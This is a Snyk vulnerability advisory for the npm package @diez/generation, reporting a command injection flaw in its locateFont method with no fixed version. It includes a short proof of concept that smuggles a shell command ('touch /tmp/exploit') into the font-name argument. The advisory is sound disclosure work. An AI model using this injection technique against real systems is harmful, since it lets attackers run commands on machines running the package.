@diez/generation/.../generation@10.5.0-beta.1 vulnerabilities

Utilities for design language code generation.

Direct Vulnerabilities

Known vulnerabilities in the @diez/generation package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • L
Command Injection

@diez/generation is a This package deals with generating code for design languages based on its CodegenDesignLanguage, a way of describing a design language which is compatible with the design primitives provided by @diez/prefabs.

Affected versions of this package are vulnerable to Command Injection via the locateFont method.

PoC

Running a file with the below content will create a file named exploit.

const generation = require("@diez/generation");
generation.locateFont("foo'`touch /tmp/exploit` '", {});

How to fix Command Injection?

There is no fixed version for @diez/generation.

*